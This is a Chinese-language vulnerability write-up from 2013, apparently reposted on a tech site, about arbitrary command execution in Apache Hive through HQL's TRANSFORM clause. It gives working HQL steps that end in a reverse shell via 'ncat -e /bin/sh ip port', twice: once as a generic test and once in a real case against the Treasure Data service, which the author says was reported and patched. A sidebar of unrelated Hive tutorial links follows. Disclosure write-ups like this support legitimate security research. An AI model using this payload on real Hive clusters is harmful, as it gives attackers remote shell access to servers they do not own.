Hive任意命令/代码执行漏洞+渗透实例

简介: Author: kindleDate: 2013-02-9Hive是建立在 Hadoop 上的数据仓库基础构架。

Author: kindle
Date: 2013-02-9

Hive是建立在 Hadoop 上的数据仓库基础构架。它提供了一系列的工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制。Hive 定义了简单的类 SQL 查询语言,称为 QL,它允许熟悉 SQL 的用户查询数据。同时,这个语言也允许熟悉 MapReduce 开发者的开发自定义的 mapper 和 reducer 来处理内建的 mapper 和 reducer 无法完成的复杂的分析工作。

漏洞详情

HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

测试代码

cat /root/test
1 test

创建测试表
create table if not exists kindle(id int,test string);
通过transform来自定义hive使用的shell命令,反弹shell
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
删除测试表
drop table kindle;

 

漏洞状态

通知了部分大公司,尚未联系官方

 

————————————————————————————-邪恶的分割线————————————————————————————-

 

实战案例

测试Treasure Data集群(Hadoop-based Big Data as a Service on the Cloud | Treasure Data)

过程

未命名

未命名

 

修复状态

已经通知Treasure Data官方,修补好了,如下图官方的回复

QQ截图20130217093153

新建/root/test文件,内容是1(或者任意int型数字)
创建测试表
create table if not exists kindle(id int);
导入数据(这步很关键,没数据无法触发漏洞)
LOAD DATA LOCAL INPATH ‘/root/test’ INTO TABLE kindle;
通过transform来自定义hive使用的shell命令,反弹shell
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
删除测试表
drop table kindle;
http://www.sectop.org/2013/02/treasure-data-hive-vuln/

 

 

目录
相关文章
|
6月前
|
SQL 分布式计算 Shell
Hive教程(05)- Hive命令汇总(上)
Hive教程(05)- Hive命令汇总(上)
123 0
|
6月前
|
SQL HIVE
50 Hive显示命令
50 Hive显示命令
25 0
|
2天前
|
SQL 存储 Java
Hive 拉链表详解及实例
拉链表是一种数据仓库技术,用于处理持续增长且存在时间范围内的重复数据,以节省空间。它在Hive中通过列式存储ORC实现,适用于大规模数据场景,尤其当数据在有限时间内有多种状态变化。配置涉及事务管理和表合并选项。示例中展示了如何从原始订单表创建拉链表,通过聚合操作和动态分区减少数据冗余。增量数据可通过追加到原始表然后更新拉链表来处理。提供的Java代码用于生成模拟的订单增量数据,以演示拉链表的工作流程。
14 3
|
21天前
|
SQL 数据库 HIVE
Hive【基础知识 05】常用DDL操作(数据库操作+创建表+修改表+清空删除表+其他命令)
【4月更文挑战第8天】Hive【基础知识 05】常用DDL操作(数据库操作+创建表+修改表+清空删除表+其他命令)
24 0
|
6月前
|
SQL 分布式计算 HIVE
Hive教程(05)- Hive命令汇总(下)
Hive教程(05)- Hive命令汇总(下)
43 0
Hive教程(05)- Hive命令汇总(下)
|
SQL 移动开发 并行计算
不需要编写代码,也能成为Hive SQL面试高手?ChatGPT告诉你...
当你面对 Hive SQL 面试时,不仅需要掌握 SQL 语言的基本知识,还需要熟练掌握 Hive SQL 的一些高级特性,比如窗口函数、分区等等。对于初学者而言,写出高效的 Hive SQL 代码往往是一件困难的事情,而这恰恰是面试官最为看重的。但是,你不必担心!现在,有一种神奇的工具——ChatGPT,可以帮助你快速生成 Hive SQL 代码,解决你在面试中遇到的各种难题。本文将会介绍如何使用 ChatGPT 生成 Hive SQL 代码,让你在面试中轻松成为 Hive SQL 面试高手,无需编写代码也能毫不费力地完成面试题。 让我们一起来看看吧!
|
SQL HIVE
附模板和代码 | Excel数据模型自动生成Hive建表语句
在日常数据开发过程中,会经常需要根据数据模型编写建表语句,每次写建表语句都会用几分钟的时间,而且还容易出一些低级的错误,于是打算做个 Excel 模板,把表字段、表分区、表名写在里面,通过程序自动生成建表语句
|
SQL IDE 开发工具
Python脚本执行hive SQL命令
Python脚本执行hive SQL命令
|
SQL 存储 分布式计算
Hive命令使用记录
Hive命令使用记录
78 0
Hive命令使用记录
|
SQL 关系型数据库 Java